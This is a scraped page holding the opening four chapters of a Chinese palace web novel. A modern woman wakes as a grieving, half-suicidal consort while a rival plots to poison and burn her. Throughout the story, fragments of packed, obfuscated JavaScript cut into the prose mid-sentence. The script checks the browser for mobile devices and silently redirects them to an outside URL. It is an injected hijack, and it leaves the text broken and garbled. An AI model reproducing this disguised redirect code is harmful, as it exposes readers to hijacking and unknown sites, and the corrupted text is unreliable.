《得过且过的贵妃娘娘》 1. 第 1 章 巳时将过,日光在宫殿中央的青石砖投下斜影。 一位青色宫装女子,穿过日影走到正中央的殿前来,对着坐在门槛上的两个小宫女道:“银杏、蜜桃,你们在玩什么呢?娘娘若是醒着,帮我通传一声,我去与娘娘请安。” 女子语气熟稔,像是与宫女关系亲密。可两个小宫女却没好脸色,头发更黄的那个脸一样将话顶回去:“奴婢算什么,不敢和李才人你呀我的。娘娘还没起,您且回罢。” 李才人听了,脸色不豫,却也没走。 正僵持着,从里头走出来一个大宫女。李才人一眼将人认出来:“琥珀,我来看娘娘。” 琥珀对李才人行了一礼,反身先去教训小宫女:“什么规矩都没了,如何跟才人说话。自己去墙根下立一个时辰的规矩。” 小宫女早在琥珀出来时就如同鹌鹑一样,规规矩矩站起来,听了发落不敢说一字,拉了手跑去宫墙边站着了。 琥珀处置了两个宫女,才同李才人开口:“她们年纪小不懂事,才人勿怪。” “哪里会,琥珀你知道的,我自来是把她们当做是妹妹看待。”李才人说,“娘娘今日精神如何?” 琥珀没有接口:“从前是从前,如今才人是天子妃嫔,请自重身份。” “我一日是娘娘的奴婢,一辈子都是娘娘的奴婢!我知道你气我背主求荣,可谁不想要过更好的日子。娘娘……娘娘孤身在宫中,也需要一份助力。”李才人说得激动,眼中泛起泪。 琥珀没有被打动,仍是说:“娘娘睡着,请才人低声,莫要扰了娘娘歇息,还是改日再来。” 不论李才人如何说,琥珀始终没有将人放进去。费了一顿口舌,终于将人劝走,琥珀转身回到内殿去,一面走一面为自家娘娘叹息。 六宫里哪有睡到日上三竿的妃嫔呢,无非是她家娘娘如今病来如山倒,上至太后陛下皇后都免了她的规矩、教她好生养病。如今合宫上下,最宝贝的就是她家娘娘。辛家领兵镇守边关,在对伊瓦国一战中满门殉国,仅留下这一根独苗在宫中,陛下只会嫌她睡得不够开心,不会嫌她睡得太久。 只是琥珀担心,她家娘娘怕是不想活了。 年初辛家棺椁回京,她家娘娘丧礼过后精神就一日不如一日。七日前落水,对外说是失足,可当时娘娘摈退左右,身边无一人服侍,谁说得清是失足还是故意投水。 想到这里琥珀心中又叹一声,掀了厚厚的帘子走进寝殿。比起外头正好的日光,殿内一片昏暗。她走到床榻边,轻声朝锦堆里的人唤道:“娘娘,睡了大半日,可要传膳?” 锦堆里的辛冉闭着眼睛装睡,就当做琥珀叫娘娘的并不是她。 本来也不是她。 七天前,她在公司加班,去茶水间接水的功夫眼前一黑,再醒来就变成了宫里的辛娘娘。她看过原来辛娘娘的记忆,觉得宫里的生活也没意思得很,所以来了以后日日装睡。 没意思,还不如直接在茶水间死了算了,一了百了。多好的死法,无痛无难的,眼下可没有这么轻易的死法。 能睡死就好了。 琥珀却不肯让她安睡,今日请她起床的意志格外强烈,在床榻问了一遍又一遍:“娘娘,就是不饿也起来进一点,胃里有食才好用药。” 辛冉在锦堆里叹了又叹,终于屈服,探出半个脑袋来。琥珀一见就探身把她扶了起来,伸手拉了拉床边的摇铃,一水的宫女捧着各色洗漱用品鱼贯而入。 辛冉眼皮都不需抬,琥珀就使人将她梳洗打扮好,扶到了桌前。她有时想,若是能替人活,琥珀一定想干脆替她好好活下去。 “娘娘,今日膳房进了□□碧梗米粥,佐上豆腐皮包子正好,瞧这包子包得多巧,跟朵玉兰似的。” “用些建莲红枣汤吗?莲子安心,红枣养起,正合适。” “或是这燕窝梅花粥?” 檀木桌上碗碟森罗,单是粥汤就不下五六盏,更别说点心、小菜。满眼的富贵,是从前用黑咖啡和面包果腹的辛冉不曾享受过的。只可惜,她此刻提不起用食的兴趣。 不怪琥珀,辛冉很早就失去了吃饭的兴趣。 她越是沉默,琥珀的话越是密,一串地报着菜名,盼望着能够引起她的兴趣。 “娘娘你瞧这只南瓜盅,膳房真是用心,上头雕了狮子戏珠,多好玩。”琥珀见如何都提不起辛冉的兴趣,便另辟蹊径。 辛冉抬眼去瞧,南瓜盅不过拳头大小,色如黄金,外头雕了两只狮子,一上一下正扑身在玩绣球,狮子眼儿圆睁,活灵活现。 可见厨子的巧思,还有琥珀的用心。 琥珀这般让她想起来了妈妈,辛冉不愿再让她说下去,于是开口要了一只南瓜盅。 “你去把她们两个叫回来吧,大冷天别站着了。”辛冉指外头立规矩的两个小宫女,看着还不到自己腰高,瞧着像虐待童工的样子。 琥珀不同意:“娘娘心善,但眼下不教她们吃点苦,改了议论主子的恶习,将来怕是有更大的苦头吃。” 宫里头的规矩和生存之道,辛冉自觉不如琥珀了解,于是不再坚持,低头勺了一勺南瓜盅里的蛋羹。 琥珀却不忍心,难得娘娘肯开口说话,于是说:“两个小丫头能引得娘娘说句话,也是有功劳,罢了奴婢叫她们进来殿里站规矩。” 说话的功夫,银杏、蜜桃两小人就从帘子外钻进来了。两人冻得鼻头发红,进来就跪下谢恩,双手捧过头顶:“娘娘您瞧,奴婢给您捏了一只鸭子。” “我瞧不见,你们站到我身边来。”辛冉把两人叫起来。 银杏和蜜桃带着雪鸭子站到桌边来,两人手巧捏出来的鸭子胖乎乎一只,团着坐在手心里。琥珀瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111518|164089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了瞧,转身进内殿过了会出来,给鸭子脑袋按上两粒黑曜石。 银杏、蜜桃两人齐齐呀出声:“鸭子活了!” 雪鸭子被请到琉璃盏里,银杏、蜜桃两人被琥珀教导着继续在墙角站满一个时辰。两小人胆子大,觉得站在暖烘烘的内殿里根本算不上惩罚,满脸挂笑。琥珀也是为这两人能哄自家娘娘多吃一些,睁一只眼闭一只眼。 “娘娘今日瞧着精神好,奴婢叫人去请周太医来请脉。”琥珀见机说。 辛冉由她安排。早饭端下去的功夫,周太医就等候在外殿了。一个时辰正好结束,辛冉留了一笼水晶包子给银杏和蜜桃。 周太医听说是太医院副院判,童颜鹤发,瞧着十分医术高超。他诊过麦,又细细问了琥珀辛冉近日的饮食起居,思索再三下了定论:“娘娘本就郁结于心,加之落水受寒,寒毒无法疏散,故而神思倦怠。娘娘还需多似今日这般,努力加餐饭,补养气血。微臣也将素日的汤药方子调整一二,加上白芍、人参、五味子,帮助娘娘益气补血。” 辛冉不置可否,反正她也不想活,每日药煎好送来她总是趁琥珀不注意,倒给床头的雀梅。 皇帝不急太监急,琥珀十分上心,一味药材一味药材地询问周太医,又是道谢又是送银钱,一路把周太医送出宫门。 那周太医走了一路宫道,却没有往太医院的方向去,而且拐弯去了另一处妃嫔居所。 “惠妃娘娘,微臣方才与辛贵妃诊脉,脉象确实比前些时日健旺,瞧着贵妃气色也红润几分。” “健旺?红润?”端坐在上首的惠妃冷笑,“周太医,本宫命你去给贵妃治病,是要你往死里治,不是往活里治!” 周太医扑通跪下去,厚厚的地毯上听不见膝盖骨落地的声音。他伏在地上,解释道:“微臣不敢忤逆娘娘之命,日日送去给贵妃的药中都加了三钱雷公藤,以贵妃的病体,必定会气血枯竭而亡。微臣……微臣都是照着娘娘的吩咐去做,不知为何、不知为何这几日脉象有变!” “不知为何?你一个太医都不知为何,难道本宫知道!”惠妃说着,砸了手边的一个茶盏。 周太医不敢作声,一旁的宫女上前来劝:“娘娘莫要动气,小心伤了腹中的龙胎。人人都说辛贵妃落水是自杀,她一个心存死志的人,怎么活得了?兴许只是回光返照,有周太医看顾,日日药送去必定能将她送走。” 惠妃闭目忍了忍,抚摸着隆起的腹部,缓声说:“六宫之中,妃位有四,贵妃却只有一位,她不死,本宫怎么更进一步!本宫此次遇喜,贵妃之位本该是我的,偏生辛冉占着父母兄弟死绝,抢了我的位置!” “周太医,”惠妃冷声吩咐,“本宫的孩儿再有三月便要出生,届时我要他出生便是贵妃之子。每日送去钟粹宫的药,你要用心煎,否则你儿子行贿一事,我哥哥绝不容情。” 2. 第 2 章 辛冉成日里就是睡,一劲要把从前落下的觉全补回来。 如今既不用加班也不用早起通勤,天气还没转暖,屋内烧着炭火,她窝在锦被里一睡便是一天。至于宫里请安的规矩,她是个病号,也没人来管,辛冉就全当不知道。 反正她也没想好好活,要真火烧眉毛,死了算了。 还真没人用请安的规矩制裁辛冉,皇后宽宏慈爱,早就免了她的规矩。还请贤妃每隔五日来钟粹宫探望。 “我瞧贵妃姐姐气色越来越好,周太医用心了,我必回禀皇后娘娘,好好赏他。” 贤妃生了一张容长脸,白净的面上没有一丝多余的肉。 “你有精神了,应该要多出去走走。下旬我宫里的山茶花开了,邀你来赏。”贤妃握着她的手,以一种不容拒绝的态度说,“多走走,有助你康复。” 辛冉越看贤妃越觉得她像前世的主管,尤其是说话的这模样。她说不出答应还是不答应,头一点只希望快些结束这对话。 贤妃可不打算这么放过她,接着又说起皇后的功德来。 她说:“皇后娘娘心中十分惦记你,每回太医院请平安脉总要问起姐姐。长白山的人参,丹州的血燕,顶好的东西流水一样往钟粹宫里送,就盼着你养好身体来。” 辛冉唔地点头。 贤妃又说:“姐姐全家尽忠为国,满族的荣耀如今只留的姐姐一人继承,就算是为了母族,也要好好振作起来。这才是尽孝、尽忠。” 辛冉垂着眼皮,昏昏欲睡。 贤妃还没说完:“姐姐深受皇恩,贵为贵妃,在后宫之中仅次于皇后。位高更该谨言慎行,从前皇后为了姐姐的身体免了请安,姐姐如今身体渐好,也该感念皇后娘娘的恩德。” 这是叫她恢复考勤打卡了。 辛冉只不应,打了个哈欠,作出十分困倦的样子,道:“贤妃,我才吃了药,如今没有精神,要睡下了。” 贤妃细长的眉毛一拧,红唇抿起。辛冉仿佛能听见她心底的叹息。 “罢了,姐姐休息,我改日再来看你。”贤妃起身告辞。 辛冉将病一称到底,干脆躺在床上不起身,只叫琥珀去送。 琥珀险些在床榻前跺脚,面上撑出恭敬的模样,将贤妃一路送到宫门。要是自己能弥补主子的不足,她恨不得一路把贤妃送回她的咸福宫。 琥珀回来就拜倒在辛冉的床前,控诉:“贤妃来探望您,您半天也就答应一句,她一个人说了半席子的话。这也就罢了,临了您好歹也起身去送一步,叫贤妃自个就走了。到底是皇后娘娘的亲妹妹,您也上点心。” 辛冉侧卧着,问:“皇后娘娘已经位极中宫,怎么还把亲妹妹拉进宫来?” “娘娘,奴婢跟您说正事呢!” 辛冉笑了笑。自己这些天真是睡够了,竟然又精神去八卦。 琥珀嗔怪归嗔怪,还是为她解惑:“皇后娘娘仁慈,但在宫中御下只有慈悲是万万不行的。再者,皇后娘娘生育过三子,都殁了。中宫无子,是大忌。娘娘病了一场,怎么什么都不记得了?” 辛冉直接摆烂:“病了一场,是什么都记不得了。” 琥珀不信,只觉得自家娘娘糊弄她。她转开话题又说:“娘娘,既然应下了贤妃的邀约,更应当把身子养好。膳房进了燕窝粥,您起来喝一盅,胃里有食才好进药。” 辛冉抬手一掩,又作出哈欠模样:“我困着呢。” “今日膳房又刻了新玩意,娘娘也不瞧瞧?”琥珀如今也懂了辛冉的心思,吃饭进药是能躲就躲,但是看看膳房的手艺却有兴趣。 辛冉还真有些好奇今日是什么。 打从自己用过一回狮子戏珠南瓜盅以后,日日喝粥总有不重样的雕刻物件送上来。昨日是用黄白萝卜刻的兔子望月,前日是刻的鱼戏莲叶,大前日是小桥流水,样样是又新奇又可爱。 琥珀瞧她也不埋在被子里了,伸手就将人搀扶起来。外头的小宫女鱼贯而入,这边服侍她洗漱,那边就将膳食摆出来。 今日膳房雕刻的是黄鹂鸣翠柳,两只鸡蛋大小的黄鹂立在黄瓜雕出的柳枝上,绿豆圆的小眼睛,圆鼓鼓的肚子,憨态可掬,十分喜人。 辛冉喝了半碗粥,叫人特地把黄鹂留下来观赏。 琥珀在旁提醒:“娘娘,膳房连日用心,是否赏个荷包?李才人自己寻了出路,我们宫中缺一个善治汤水的人,若是进粥之人得用,正好拉拢过来。” “荷包是不是太轻了?”辛冉疑惑地问。 琥珀笑着应下:“娘娘既然如此说,奴婢塞厚些。”说着就去内殿抓了一把金瓜子,递到辛冉面前给她过了眼,再塞进荷包里。 “娘娘瞧,这般可够?” 那荷包瞧着沉甸甸地坠手。 辛冉点点头,琥珀便笑着出门去。她坐在原位,拢着两只小黄鹂默默咂舌,乖乖刚才那金光闪闪,自己还怪富的。 *** 话说两边,贤妃从辛冉宫中出去并没有回到自己的咸福宫,而是转道去了皇后所在的翊坤宫。 “姐姐,我瞧贵妃是不成了。”贤妃进了宫门,自行往桌塌上一坐便开口说了,“她成日里窝在床上,连句话也不爱多说。” 皇后正在插花。将将开春,天气还未暖起来,外头连天阴寒,草黄花枯,但皇后宫中却有暖房的供应,珍稀花卉色色俱全。 皇后放下手中的水仙,坐到贤妃对面:“太医回禀贵妃气色渐好,可是作假?” “那倒不假。”贤妃说,“年前贵妃病如槁木,脸灰得跟砖石似的。如今看着是添了血色,红润不少。但又什么用?身子好了,心气却没了。” “父母兄弟皆殉国,一家子尽忠只剩下她孤零零一人,你要她有什么心气?” 贤妃不同意:“正是如此,才更该振作,否则岂不是辱没了家族的荣光。你瞧惠妃,家世出身多不如贵妃,但却连生二子,如今腹中又有一胎,争宠生子,是个野心勃勃不甘居人之下的,必将贵妃视为前进之路上的绊脚石。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111519|164089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 说道此处,她放轻了声音:“恐怕还不止贵妃。” 皇后蹙眉:“本宫是圣祖赐婚,昭告天下的皇后,惠妃纵然有野心又能如何?” 贤妃摸了摸肚子:“姐姐,陛下如今已是不惑之龄,我们也过了诞育的最佳年龄。若是……陛下百年之后,两宫皇太后孰为尊?必是要多多擢选人才,压住惠妃的气焰才是!” 皇后沉默不答。 贤妃又说:“贵妃是指望不上,我瞧她宫中倒有一个上进的。” “你是说李才人?”皇后深谙六宫事务,立刻便说出人名。 “正是她。宫中不少人背地里说李才人背主求荣,我到瞧她是个有成算的。当时贵妃那般形状,躺在床上不知道活不活过明日的,她为自己求条生路,也没有错。” 皇后蹙眉:“到底不是忠仆。” “但是个上进可用之人,”贤妃说,“陛下给她封了才人,没几日就抛在脑后。她失了恩宠,却仍住在贵妃宫中,要是换了旁人只怕没脸要躲着贵妃走。她却能忍下奚落,日日去请安送粥,倒很有唾面自干的忍心。这样的人,只要给她一个机会,必定能成气候。” 贤妃之所以如此说,是方才她离开贵妃宫中的时候,李才人赶出来相送。 路上李才人捧着贤妃,告诉她许多贵妃宫中的事务,同时将自己日日熬粥进奉贵妃的事适时告知。如此一番表现,实在教贤妃刮目相看。 *** 钟粹宫中,辛冉也是才知道日日送粥的并非膳房,而是李才人。 琥珀先前拿了荷包出去赏人,去膳房走了一遭回来才发现内情。她回来先把取膳的两个小太监发落了,就在院中罚过,正对着李才人偏殿的门,故意落她的脸面。随后才进得内殿,将情况回禀辛冉。 “八福、七宝两个罚完,奴婢就将他们赶回内监司去。” 这两人若是回去,等同于被公司辞退,恐怕再领不到好差事,只能去做苦力。还才不过七八岁的童工。 辛冉替二人说话:“不如罚过就算了。” 琥珀不答应:“娘娘今日心软,来日恐怕是要害苦自己。他们是取膳的,今日收了李才人的贿赂,给您的食盒放粥,来日收了别人的钱若是下毒又怎么办是好?” 辛冉默默。下毒就下毒,死了算了,她反正活着也挺没趣的。不喝药死得太慢。 琥珀像是读出她的心思,跟着说:“娘娘,服毒寻死可痛苦,死的时候七窍流血,五脏六腑穿肠破洞。” 辛冉默默,又收回了方才的念头。 琥珀刚刚也是气急了,说完便跪下去请罪:“奴婢失言不敬,请娘娘责罚。” 辛冉赶忙叫她起来。她知晓琥珀是为自己好,而且她不比琥珀明白宫中的行事,于是同意她的处置办法。 “不过,李才人这样做是为什么?”辛冉奇怪。 琥珀也猜不出。 主仆二人思索之际,门外小宫女来报:“娘娘,李才人跪在门口,说要向您请罪。” 3. 第 3 章 李才人进了殿就跪下:“娘娘,奴婢私自买通太监献粥,奴婢有罪,请娘娘责罚。” “你是妃嫔,我怎么罚你?”辛冉说。 李才人立刻磕头:“娘娘一辈子都是奴婢的主子,要打要罚,奴婢不敢有一句怨言。” “快拉住,叫她别磕了。” 琥珀上前抓住李才人的肩头,将人拽起来:“李才人,你听到娘娘的话了,你是妃嫔,可不好一口一个奴婢的。教别有用心的人听去,还以为我家娘娘如何欺辱你。” “娘娘,奴……我不往外吐露一字。若是有,就叫我天打雷劈、肠穿肚烂!” 琥珀哼了一鼻子,转而对辛冉道:“娘娘,您是一宫主位,要罚一个偏殿的才人还是合宫规的。” 李才人哭出声来:“请娘娘罚我!” “好了好了。”辛冉瞧着李才人还穿着前日的青裳,衣衫单薄实在可怜。说:“我不罚你。我听琥珀说,两个小太监胃口不小,要了你一个月的月钱,你还需买米买瓜,家底都掏空了去。这到底是为什么?” 李才人道:“娘娘,我是真心希望您好起来。娘娘,我是真心的……” 辛冉瞧着她这话不短,叫琥珀把人拉起来坐着,别一直跪着说话。 李才人坐在小凳上抹泪:“娘娘,我是个丧良心的,背着主子爬上了陛下的龙床,娘娘厌弃我是我该得的,我就是想过更好的日子,我背主求荣我认得。但是娘娘,我从小伺候您,我是真心希望您好起来,不愿意看您这样一日一日瘦下去。” “你想过什么好日子?”辛冉好奇。 “我想要顿顿都有肉吃,我想要月月都有新衣穿,我想要冬日有碳烧,我想要夏日有冰饮,我……我想要娘亲的牌位摆上桌!” 李才人说着说着,眼泪透过指缝淌出来。一向横眉冷对的琥珀都忍不住伸了一条帕子过去。 辛冉等她哭完,慢慢开口:“我不用你领罚,你月钱都花光了,也算是偷鸡不成蚀把米。” “娘娘……”李才人仰起脸来,泛出喜悦期待的神色。 辛冉抬手打断,继续说:“不过你背主求荣,我们之间也就再无往日的情分,从此之后不必再送粥过来,就当是其他宫里一样。你回去吧,我乏了。” 李才人刚亮起来的脸又迅速灰暗下去,默默了片刻才谢恩离开。 辛冉虽然没有罚李才人,但钟粹宫赶走两个小太监,事情是瞒不住的。消息就像插了翅膀的鸽子,很快就传得阖宫皆知。 有的如皇后,就当做是睁一只眼闭一只眼。“贵妃是事主又是一宫主位,她都不追究,就随她去。” 有的如贤妃,对李才人这样野心上进的人多了注意。在后宫妃嫔向皇后请安之时,主动邀约李才人去宫中小叙。 有的宫中,可添了一场热闹。 惠妃听闻这件事,砸了一套十二花神的汝窑瓶。“好他个背主求荣的贱婢,本宫使了多少银钱、花了多少心思买通周太医,熬了那么多毒药送去,竟然抵不过这贱婢的米粥?” 宫女不敢去躲避地上的碎瓷片,跪着求惠妃:“娘娘息怒,仔细肚里的皇子,千万别动了胎气。” “息怒!本宫如何能息怒!一腔心血,全被这贱婢毁了!”惠妃气得双眼赤红:“眼瞅着本宫就要临盆,本来辛冉该死!我的孩儿应该有个贵妃的娘!可如今你瞧瞧,她身体是一日好过一日。” “娘娘,娘娘您接连有孕生子,若论恩宠,钟粹宫那位哪里比得过您!娘娘,留得青山在不愁没柴烧。” 惠妃是越想越气,哪里是劝得住的,又一挥袖,将桌上的烛台扫到了地上。烛火顺着火油一路烧,将锦织的地毯烧了起来。 “恩宠又算什么!没有位分,恩宠就是流云,比容颜还消逝得快!本宫可等不及,她辛冉毒不死……”惠妃凝视着熊熊燃烧起的火焰,“还烧不死吗?” “娘娘……” 惠妃推了一把宫女:“今夜你带上人,去钟粹宫放一把火。从偏殿一路烧到主殿,把她们都给我烧死!到时候就说是李才人记恨辛冉所以放火,合情合理,死无对证。” *** 夜半三更,宫阙深处骤然冲起火光。火势熊熊,须臾之间就将半座宫殿卷进火舌之中。不同寻常的火势叫醒沉睡的宫人,奔走呼号、打水扑火的声音此起彼伏。 辛冉是被浓烟呛醒。 这副身体极差,气管更是脆弱,一点烟味就折腾得厉害,她从梦乡中咳醒,三魂六魄都被咳出来八个,奇怪的是,值夜的琥珀却没有赶上来关怀,她可是最细心的人。辛冉捂着胸口,掀开床帏一瞧,竟然是满宫的烟味,窗外被红光映得通红。 宫里失火了。 “琥珀!琥珀……咳咳……来人啊……”辛冉呼喊无人应答,她踉跄着走到殿外,琥珀已然昏迷过去,如何推搡都醒不过来。外头浓烟更甚,辛冉用茶浇湿了手帕捂住口鼻,却泼不醒琥珀。自己高声呼喊,外头也无人应答。 辛冉不敢将琥珀独自放在这里,自己跑出去呼救。一来一回,谁知会发生什么意外。她只得把琥珀扛到自己肩上,往外求生。 辛冉大病未愈,说是弱不禁风也不为过,扛着琥珀实在艰难。一步三喘,但她不敢停歇,烟越来越浓,火势已经渐渐烧到殿内。她一心求死,倒无所谓,但万万不能连累了琥珀。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111520|164089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >就在辛冉咬牙为自己鼓劲的时候,突然肩上的重量轻了一半。 上天开眼,终于来人了。 “娘娘,快些,房要烧塌了。”熟悉的声音传来。 辛冉侧头去看,来的人竟然是李才人。 她发髻凌乱,灰头土脸,身上全湿透了,但力气却大得很,眼神坚定给了辛冉信心。李才人力气大得很,辛冉扛琥珀,她双腿都在地上拖着,李才人却是直接将琥珀拦腰扛起,还能拉着辛冉往前一同跑。 几步之遥,三人就要奔出殿门,辛冉却听见头顶传来一声噼啪,是焦木断裂的声音。 突然之间,她后腰被猛推一把,压上重重的分量,摔到了宫门之外。宫门之内,烧断的房梁砸下来,压住了李才人的惨叫。大风卷起,烧得火舌舔上帷幕,熊熊大火立刻将房梁和房梁下的李才人淹没。 “娘娘!”“娘娘!”宫人们涌上来,将地上的辛冉和琥珀扶起来。 “救人!”辛冉惊恐得身体发颤。 “娘娘!没救了,火太大了!”“火势太大,冲不进去啊娘娘!” 辛冉颤抖着发出更高的声音:“进去救人者,赏金百两!救出李才人者,赏千两!” 钟粹宫里,风声、火声、奔走呼号声霎时仿佛停住。辛冉的声音落地,两个宫人就浇湿了自己冲进大火中,紧接着又是两个、三个。 一会的功夫,七八个人抬着李才人冲了回来。她还活着。 辛冉紧绷着的心终于松下来。 *** 火势得到控制,辛冉等人暂时被安置在偏殿里。 她捧着甜茶守在琥珀和李才人身边,太医已经赶来为两人诊治。 琥珀吸入了浓烟所以昏迷,灌下汤药来日醒转便无大碍。李才人伤势很重,烧毁的房梁将她的肩膀烫伤,脏腑也许被压伤,人虽醒着,却时有诞妄之语,要小心照料看伤势是否有好转之机。 “我要你不惜物力地去救治。”辛冉说。 太医点头称是。 正此时,外头一静,响起高声:“圣驾到。” 辛冉看着面前的太医突然矮下去,跪在地上。一屋的宫人都跪了下去,辛冉慢半拍地从软榻上起身,身着黄袍的人已经迈进屋内。 这是辛冉第一次见到皇帝,这个时代里她的君主。 皇帝姓李,单名一个珲,当朝二十六载,如今已有四十三。李珲生着一张养尊处优的脸,白皙的面容上不见一丝皱纹,修长眉毛下生一双多情的眼睛。若是不穿黄袍,更像是一个世家贵公子。 李珲踏步走进来,伸手扶住了正在犹豫跪不跪的辛冉。 “贵妃,可有受伤?” 4. 第 4 章 皇帝亲自上前来搀扶,辛冉就着他的手免了跪礼。 “多谢陛下关怀,我没事。”辛冉回答着他的问题。 话音刚落,门外又传来唱声:“皇后娘娘到!”“贤妃娘娘到!” 不一会的功夫,狭小的偏殿站满了人。 辛冉第一回见皇后,她与贤妃是亲姐妹,果然面容有几分相似,都生着一张容长脸。只是皇后年纪长些,腮边松出几分皮肉。皇帝当朝二十六年,皇后也做了这后宫之主二十六年,漫长的阅历让她的双眼柔和又智慧。 皇后进门来就上前,轻扶辛冉的手臂,也免了她行礼。辛冉不知道是不是错觉,皇帝如释重负地松开她的手,皇后恰好接了过去。 皇后有一双温暖的手,轻轻握着她的,柔声问询:“骤然失火,妹妹必是受惊了。听闻李才人也受了伤,太医何在?” 后半句问的是在旁宫人。 周太医上前跪奏:“回禀皇后娘娘,贵妃并未受伤,只是体弱受惊需要静养。李才人后肩烧伤、脏腑受创,若是今夜平安度过,将来好好将养还能痊愈。” “陛下,钟粹宫失火,臣妾必定查出真相。只是当务之急,需好好安置贵妃和李才人,臣妾想将她们接入翊坤宫。” 辛冉不知是否自己看错,皇帝的脸色仿佛出现一丝僵硬。她抢先一步开口:“多谢娘娘好意,我在偏殿休息就可以。” 她并不愿意住到皇后那里去。皇帝与皇后伉俪情深,常留宿翊坤宫。辛冉若是住过去,想必要时要时常见面,她在妃嫔这工作上可是想着长期病假。 皇后并不同意:“你这宫里烧得乱糟糟的,怎么能好生养病!暂且委屈妹妹住在本宫那里,养好身子,或是修缮钟粹宫或是另择一处宫殿,都随你。” “便听皇后的。”皇帝开口,一锤定音。 事情敲定,帝后正要起驾回宫,忽的外头跑进来一个太监,跪倒在皇帝面前:“皇上!惠妃要生了!” 皇后受惊,抚着心口:“这足足早了两月。” 贤妃先声道:“早产事急,请皇上、娘娘回宫歇息,臣妾去惠妃宫中照看。” 皇后摆手:“不,惠妃这胎发动太早,怕是被火灾吓着。皇上,臣妾要亲自去照看。” 皇帝牵起皇后的手:“朕与你一同去。贤妃就留下照料贵妃。” 辛冉瞧着,不知为何觉得皇帝松了一口气。 贤妃当夜就将辛冉安置到翊坤宫偏殿,但她却以皇后分忧为由带走了李才人。将将天明的时候,传来消息,惠妃生下一位皇子,是皇帝的第三子。 辛冉躺在床上听得消息,“哦”了一声,准备继续与周公相会。床边的宫女提醒道:“娘娘,皇上与皇后娘娘正回宫来,是否要去请安?” “不了,我惊魂不定,喝了汤药起不来身。皇上和皇后不会介意的。”辛冉翻个身陷入更深的睡眠。 皇帝确实不介意,甚至还嘱咐宫人不要打扰贵妃休养。 “再有半个时辰就要上朝,我与皇后坐坐,用过早膳便走。” 皇后噙着笑意,递来擦面的热巾帕:“皇上体贴贵妃,是她的福气。只是贵妃接连失去亲人,久病不愈,正是需要皇上关怀的时候。” 皇帝没有应答,见皇后一双笑眼始终凝着自己不放,才道:“好吧,朕是有些怕见她。” 皇帝的话验证了皇后心中所想,但她仍问:“臣妾不解,贵妃花一样娇艳的美人儿,皇上九五之尊,怎么还怕见她了?” “贵妃那一双眼睛,生得肖似其父。”皇帝今日喜得龙子,正是欢喜意满的时候,说起这个却还是长叹一气,“从前朕便不爱见贵妃,如今辛将军走了,更是如此。” 贵妃姿容娇艳,可一双眼睛却生得极有英气,犹如剑芒明星,与其父如出一辙。每每见她,对上那双眼睛,李珲就仿佛回到幼年启蒙时。 平定天下、战功赫赫的辛将军站在面前,犹如泰山一般,身影将他完全笼罩。 “皇上是少年天子,当勉力!”他总这么说。 李珲闭上双眼再睁开,把过去的回忆从眼前驱散。 “辛将军为国尽忠,又是朕的授业恩师,朕总会恩待他唯一的骨血。至于关怀,皇后比我擅长。” 皇后道:“臣妾必会用心照拂贵妃,可皇上的恩宠与旁人是不同的……” “你方才也听见了。救一个才人,她便许出去千两黄金,把六宫一年的花销都许出去。辛家给她用之不尽的财富,朕给她贵妃的尊荣,已经足矣。” “皇上,辛将军老来得女,给的嫁妆丰厚也是人之常情。何况,辛家再无后人,女儿家娇奢也不碍事。” “正是,辛家无后,如何也不碍事。不说这些了,”李珲说着握住皇后的手,“宫中多事,有劳皇后。你也要多自珍重自己身体,惠妃生子朕自是欢喜,但朕更期待你为国家生下一位太子。” *** 辛冉睡到次日晌午才醒来。皇后怜她在病中,免她平安。辛冉躺得更自在,听闻李才人已经醒转,思索着给她送银钱去。 “咱们手头还有多少钱?” 琥珀还未痊愈,如今在辛冉身边随侍的是玛瑙。玛瑙一直掌管库房,理账得心应手,回禀道:“娘娘,库房虽未被烧,但也被掖庭局的人锁起来查案,奴婢只应急带了一箱金锭来,仅有两百锭。” 一锭金是二十五两,她这里足足有五千两黄金。 辛冉暗中咂舌,她想过钟粹宫挺富,却没有想过这么富有。 玛瑙继续算道:“昨日救人的八名宫人的赏金,娘娘许出去一千七百两,眼下就要赏吗?” “他们豁出命挣的钱,现在就给。你待会出门就叫他们来领,然后再去给李才人送一千两。” “娘娘!”玛瑙一直很沉稳,这才忍不住高声喊了一句,“娘娘,这就许出去那么多,若是娘娘这里要用可不够使了。” 辛冉摆手:“我是吞金兽吗,哪里用得了那么多钱?再者说,掖庭局查个失火的案子,能让我们等多久?” 查失火案,确实要不了多久。 三日之后,皇后遣宫女邀请辛冉到主殿,言失火一事已经水落石出。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 